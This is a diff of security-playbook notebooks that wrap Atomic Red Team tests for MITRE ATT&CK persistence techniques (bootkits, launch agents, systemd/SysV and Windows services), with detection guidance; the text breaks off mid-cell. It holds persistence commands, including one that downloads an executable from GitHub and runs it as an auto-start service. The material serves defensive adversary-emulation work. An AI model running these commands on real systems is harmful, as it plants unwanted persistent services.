a/playbook/tactics/persistence/T1542.003.ipynb b/playbook/tactics/persistence/T1542.003.ipynb index 92249116..b2496fed 100644 --- a/playbook/tactics/persistence/T1542.003.ipynb +++ b/playbook/tactics/persistence/T1542.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "18eb2dfc", + "id": "17bc414b", "metadata": {}, "source": "# T1542.003 - Bootkit\nAdversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\nA bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code." }, { "cell_type": "markdown", - "id": "f7c6e882", + "id": "71098049", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "0f2ca9f0", + "id": "5faaefd2", "metadata": {}, "source": "## Detection\nPerform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1542.004.ipynb b/playbook/tactics/persistence/T1542.004.ipynb index 02026343..8ba03324 100644 --- a/playbook/tactics/persistence/T1542.004.ipynb +++ b/playbook/tactics/persistence/T1542.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "6070e770", + "id": "2e433085", "metadata": {}, "source": "# T1542.004 - ROMMONkit\nAdversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)\n\n\nROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect." }, { "cell_type": "markdown", - "id": "76b20340", + "id": "9e4c8fd9", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "f9da84fe", + "id": "f3a1704a", "metadata": {}, "source": "## Detection\nThere are no documented means for defenders to validate the operation of the ROMMON outside of vendor support. If a network device is suspected of being compromised, contact the vendor to assist in further investigation." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1542.005.ipynb b/playbook/tactics/persistence/T1542.005.ipynb index 89e00aab..f0223240 100644 --- a/playbook/tactics/persistence/T1542.005.ipynb +++ b/playbook/tactics/persistence/T1542.005.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "b763b9d6", + "id": "7bbfd816", "metadata": {}, "source": "# T1542.005 - TFTP Boot\nAdversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)" }, { "cell_type": "markdown", - "id": "83f16fe2", + "id": "7b391f05", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "3aa2e8bf", + "id": "795ef369", "metadata": {}, "source": "## Detection\nConsider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\n\nReview command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1542.ipynb b/playbook/tactics/persistence/T1542.ipynb index 594347ad..5f90b96f 100644 --- a/playbook/tactics/persistence/T1542.ipynb +++ b/playbook/tactics/persistence/T1542.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "0b677b45", + "id": "9969cf3a", "metadata": {}, "source": "# T1542 - Pre-OS Boot\nAdversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)\n\nAdversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses." }, { "cell_type": "markdown", - "id": "0f52d2d8", + "id": "813a87f1", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "022cff97", + "id": "9c972c42", "metadata": {}, "source": "## Detection\nPerform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching.\n\nDisk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014)" }, { "cell_type": "markdown", - "id": "df9e9433", + "id": "fdcef7a0", "metadata": {}, "source": "\n## Shield Active Defense\n### Security Controls \n Alter security controls to make the system more or less vulnerable to attack. \n\n Manipulating security controls involves making configuration changes to the security settings of a system including things like modifying Group Policies, disabling/enabling autorun for removable media, and tightening or relaxing system firewalls, etc.\n#### Opportunity\nThere is an opportunity to use security controls on systems in order to affect the success of an adversary.\n#### Use Case\nA defender can use Trusted Platform Module technology and a secure boot process to prevent system integrity from being compromised.\n#### Procedures\nWeaken security controls on a system to allow for leaking of credentials via network connection poisoning.\nImplement policies on a system to prevent the insecure storage of passwords in the registry. This may force an adversary to revert these changes or find another way to access cached credentials.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1543.001.ipynb b/playbook/tactics/persistence/T1543.001.ipynb index 1b78ad5d..fc9ac8d6 100644 --- a/playbook/tactics/persistence/T1543.001.ipynb +++ b/playbook/tactics/persistence/T1543.001.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "1ca86db5", + "id": "71e6b870", "metadata": {}, "source": "# T1543.001 - Launch Agent\nAdversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\n\n Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\n \nAdversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) " }, { "cell_type": "markdown", - "id": "ffe36f9d", + "id": "be241d16", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "4932d664", + "id": "0e60916d", "metadata": {}, "source": "### Atomic Test #1 - Launch Agent\nCreate a plist and execute it\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: The shared library must exist on disk at specified location (#{path_malicious_plist})\n\n##### Check Prereq Commands:\n```bash\nif [ -f $PathToAtomicsFolder/T1543.001/src/atomicredteam_T1543_001.plist ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\necho \"The shared library doesn't exist. Check the path\"; exit 1;\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3c7dc899", + "id": "c11f0170", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.001 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "099e4a54", + "id": "09f0b053", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "debaf6ce", + "id": "2bc21e62", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "b14c5b17", + "id": "2fe10f15", "metadata": {}, "source": "#### Cleanup: \n```bash\nsudo launchctl unload ~/Library/LaunchAgents/com.atomicredteam.plist\nsudo rm ~/Library/LaunchAgents/com.atomicredteam.plist\n```" }, { "cell_type": "code", "execution_count": null, - "id": "cb456580", + "id": "b8c74c85", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "cbb026bb", + "id": "97051618", "metadata": {}, "source": [ "### Atomic Test #2 - Event Monitor Daemon Persistence", @@ -73,28 +73,28 @@ { "cell_type": "code", "execution_count": null, - "id": "e209d340", + "id": "feddce5c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "dbb1676f", + "id": "80b20609", "metadata": {}, "source": "#### Cleanup: \n```bash\nsudo rm /etc/emond.d/rules/atomicredteam_T1543_001.plist\nsudo rm /private/var/db/emondClients/randomflag```" }, { "cell_type": "code", "execution_count": null, - "id": "0e318c59", + "id": "ec69bd55", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.001 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "6612c302", + "id": "529f4db3", "metadata": {}, "source": "## Detection\nMonitor Launch Agent creation through additional plist files and utilities such as Objective-See\u2019s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\n\nEnsure Launch Agent's ProgramArguments key pointing to executables located in the /tmp or /shared folders are in alignment with enterprise policy. Ensure all Launch Agents with the RunAtLoad key set to true are in alignment with policy. " } @@ -102,13 +102,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1543.002.ipynb b/playbook/tactics/persistence/T1543.002.ipynb index 3730723f..9094975b 100644 --- a/playbook/tactics/persistence/T1543.002.ipynb +++ b/playbook/tactics/persistence/T1543.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "411d39b1", + "id": "89102fcc", "metadata": {}, - "source": "# T1543.002 - Systemd Service\nAdversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system and /usr/lib/systemd/system directories and have the file extension .service. Each service unit file may contain numerous directives that can execute system commands:\n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at system boot.(Citation: Anomali Rocke March 2019)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system and /usr/lib/systemd/system directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)" + "source": "# T1543.002 - Systemd Service\nAdversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014) Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible. \n\nSystemd utilizes unit configuration files with the `.service` file extension to encode information about a service's process. By default, system level unit files are stored in the `/systemd/system` directory of the root owned directories (`/`). User level unit files are stored in the `/systemd/user` directories of the user owned directories (`$HOME`).(Citation: lambert systemd 2022) \n\nInside the `.service` unit files, the following directives are used to execute commands:(Citation: freedesktop systemd.service) \n\n* `ExecStart`, `ExecStartPre`, and `ExecStartPost` directives execute when a service is started manually by `systemctl` or on system start if the service is set to automatically start.\n* `ExecReload` directive executes when a service restarts. \n* `ExecStop`, `ExecStopPre`, and `ExecStopPost` directives execute when a service is stopped. \n\nAdversaries have created new service files, altered the commands a `.service` file\u2019s directive executes, and modified the user directive a `.service` file executes as, which could result in privilege escalation. Adversaries may also place symbolic links in these directories, enabling systemd to find these payloads regardless of where they reside on the filesystem.(Citation: Anomali Rocke March 2019)(Citation: airwalk backdoor unix systems)(Citation: Rapid7 Service Persistence 22JUNE2016) " }, { "cell_type": "markdown", - "id": "9c06a187", + "id": "ca1742eb", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "a65c53c3", + "id": "db37e105", "metadata": {}, "source": [ "### Atomic Test #1 - Create Systemd Service", @@ -27,42 +27,76 @@ { "cell_type": "code", "execution_count": null, - "id": "e9f2135b", + "id": "271a6b0f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "a311de38", + "id": "2af8b851", "metadata": {}, "source": "#### Cleanup: \n```bash\nsystemctl stop art-systemd-service.service\nsystemctl disable art-systemd-service.service\nrm -rf /etc/systemd/system/art-systemd-service.service\nsystemctl daemon-reload\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4c852236", + "id": "a7bd4fbd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.002 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "9bfc06f9", + "id": "53b89e18", "metadata": {}, - "source": "### Atomic Test #2 - Create Systemd Service file, Enable the service , Modify and Reload the service.\nThis test creates a systemd service unit file and enables it to autostart on boot. Once service is created and enabled, it also modifies this same service file showcasing both Creation and Modification of system process. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: System must be Ubuntu ,Kali OR CentOS.\n\n##### Check Prereq Commands:\n```bash\nif [ $(cat /etc/os-release | grep -i ID=ubuntu) ] || [ $(cat /etc/os-release | grep -i ID=kali) ] || [ $(cat /etc/os-release | grep -i 'ID=\"centos\"') ]; then exit /b 0; else exit /b 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\necho Please run from Ubuntu ,Kali OR CentOS.\n\n```" + "source": [ + "### Atomic Test #2 - Create SysV Service", + "This test creates a SysV service unit file and enables it as a service.\n", + "**Supported Platforms:** linux", + "#### Attack Commands: Run with `sh`\n", + "```sh\necho '#\\!/bin/sh' > /usr/local/etc/rc.d/art-test\necho ' ' >> /usr/local/etc/rc.d/art-test\necho '#' >> /usr/local/etc/rc.d/art-test\necho '# PROVIDE: art-test' >> /usr/local/etc/rc.d/art-test\necho '# REQUIRE: LOGIN' >> /usr/local/etc/rc.d/art-test\necho '# KEYWORD: shutdown' >> /usr/local/etc/rc.d/art-test\necho ' ' >> /usr/local/etc/rc.d/art-test\necho '. /etc/rc.subr' >> /usr/local/etc/rc.d/art-test\necho ' ' >> /usr/local/etc/rc.d/art-test\necho 'name=\"art_test\"' >> /usr/local/etc/rc.d/art-test\necho 'rcvar=art_test_enable' >> /usr/local/etc/rc.d/art-test\necho 'load_rc_config ${name}' >> /usr/local/etc/rc.d/art-test\necho 'command=\"/usr/bin/touch\"' >> /usr/local/etc/rc.d/art-test\necho 'start_cmd=\"art_test_start\"' >> /usr/local/etc/rc.d/art-test\necho '' >> /usr/local/etc/rc.d/art-test\necho 'art_test_start()' >> /usr/local/etc/rc.d/art-test \necho '{' >> /usr/local/etc/rc.d/art-test\necho ' ${command} /tmp/art-test.marker' >> /usr/local/etc/rc.d/art-test\necho '}' >> /usr/local/etc/rc.d/art-test\necho ' ' >> /usr/local/etc/rc.d/art-test \necho 'run_rc_command \"$1\"' >> /usr/local/etc/rc.d/art-test\nchmod +x /usr/local/etc/rc.d/art-test\nservice art-test enable\nservice art-test start\n```" + ] }, { "cell_type": "code", "execution_count": null, - "id": "a86b6caa", + "id": "2b27be3a", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1543.002 -TestNumbers 2 -GetPreReqs" + "source": "Invoke-AtomicTest T1543.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "3717d039", + "id": "bc204f28", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nsysrc -x art_test_enable\nrm -f /usr/local/etc/rc.d/art-test\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7f08346b", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1543.002 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "7a993564", + "metadata": {}, + "source": "### Atomic Test #3 - Create Systemd Service file, Enable the service , Modify and Reload the service.\nThis test creates a systemd service unit file and enables it to autostart on boot. Once service is created and enabled, it also modifies this same service file showcasing both Creation and Modification of system process. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: System must be Ubuntu ,Kali OR CentOS.\n\n##### Check Prereq Commands:\n```bash\nif [ $(cat /etc/os-release | grep -i ID=ubuntu) ] || [ $(cat /etc/os-release | grep -i ID=kali) ] || [ $(cat /etc/os-release | grep -i 'ID=\"centos\"') ]; then exit /b 0; else exit /b 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\necho Please run from Ubuntu ,Kali OR CentOS.\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c8ee26cd", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1543.002 -TestNumbers 3 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "6bb3c7bd", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -72,42 +106,42 @@ { "cell_type": "code", "execution_count": null, - "id": "7b976a8f", + "id": "c945b5c1", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1543.002 -TestNumbers 2" + "source": "Invoke-AtomicTest T1543.002 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "1196e120", + "id": "2ad7186b", "metadata": {}, "source": "#### Cleanup: \n```bash\nsystemctl stop T1543.002\nsystemctl disable T1543.002\nrm -rf /etc/init.d/T1543.002\nsystemctl daemon-reload\n```" }, { "cell_type": "code", "execution_count": null, - "id": "389b6a61", + "id": "c2a7e95c", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1543.002 -TestNumbers 2 -Cleanup" + "source": "Invoke-AtomicTest T1543.002 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "c06c79ef", + "id": "b2fdd8c7", "metadata": {}, - "source": "## Detection\nSystemd service unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and /home//.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.\n\nSuspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: systemctl list-units -\u2013type=service \u2013all. Analyze the contents of .service files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAuditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as /usr/sbin/service may reveal malicious systemd service execution." + "source": "## Detection\nMonitor file creation and modification events of Systemd service unit configuration files in the default directory locations for `root` & `user` level permissions. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the `root` user.(Citation: lambert systemd 2022) \n\nSuspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: `systemctl list-units -\u2013type=service \u2013all`. Analyze the contents of `.service` files present on the file system and ensure that they refer to legitimate, expected executables, and symbolic links.(Citation: Berba hunting linux systemd)\n\nAuditing the execution and command-line arguments of the `systemctl` utility, as well related utilities such as `/usr/sbin/service` may reveal malicious systemd service execution." } ], "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1543.003.ipynb b/playbook/tactics/persistence/T1543.003.ipynb index 7a57a367..e2de1622 100644 --- a/playbook/tactics/persistence/T1543.003.ipynb +++ b/playbook/tactics/persistence/T1543.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "4853e6eb", + "id": "7e52ecd2", "metadata": {}, "source": "# T1543.003 - Windows Service\nAdversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. \n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). To make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component)." }, { "cell_type": "markdown", - "id": "1cc97cb7", + "id": "5e290fd7", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "22a8bf66", + "id": "aafd0131", "metadata": {}, "source": [ "### Atomic Test #1 - Modify Fax service to run PowerShell", @@ -28,87 +28,87 @@ { "cell_type": "code", "execution_count": null, - "id": "bc959ebf", + "id": "0126e635", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "c4fe4400", + "id": "e6d4efed", "metadata": {}, "source": "#### Cleanup: \n```cmd\nsc config Fax binPath= \"C:\\WINDOWS\\system32\\fxssvc.exe\" >nul 2>&1```" }, { "cell_type": "code", "execution_count": null, - "id": "088e7035", + "id": "b1e95e66", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.003 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "b5a79708", + "id": "ce5dcba6", "metadata": {}, - "source": "### Atomic Test #2 - Service Installation CMD\nDownload an executable from github and start it as a service.\nUpon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Service binary must exist on disk at specified location (#{binary_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe\" -OutFile \"PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe\"\n\n```" + "source": "### Atomic Test #2 - Service Installation CMD\nDownload an executable from github and start it as a service.\nUpon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Service binary must exist on disk at specified location (#{binary_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe\" -OutFile \"PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a4a38a12", + "id": "ac023a53", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.003 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "d037a334", + "id": "ca7553d2", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nsc.exe create AtomicTestService_CMD binPath= PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe\nsc.exe start AtomicTestService_CMD\n```" + "```command_prompt\nsc.exe create AtomicTestService_CMD binPath= \"PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe\" start=auto type=Own\nsc.exe start AtomicTestService_CMD\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "dbda3a2a", + "id": "9e435015", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.003 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "844b117c", + "id": "eddb6c27", "metadata": {}, "source": "#### Cleanup: \n```cmd\nsc.exe stop AtomicTestService_CMD >nul 2>&1\nsc.exe delete AtomicTestService_CMD >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d31a801a", + "id": "f60523a2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest 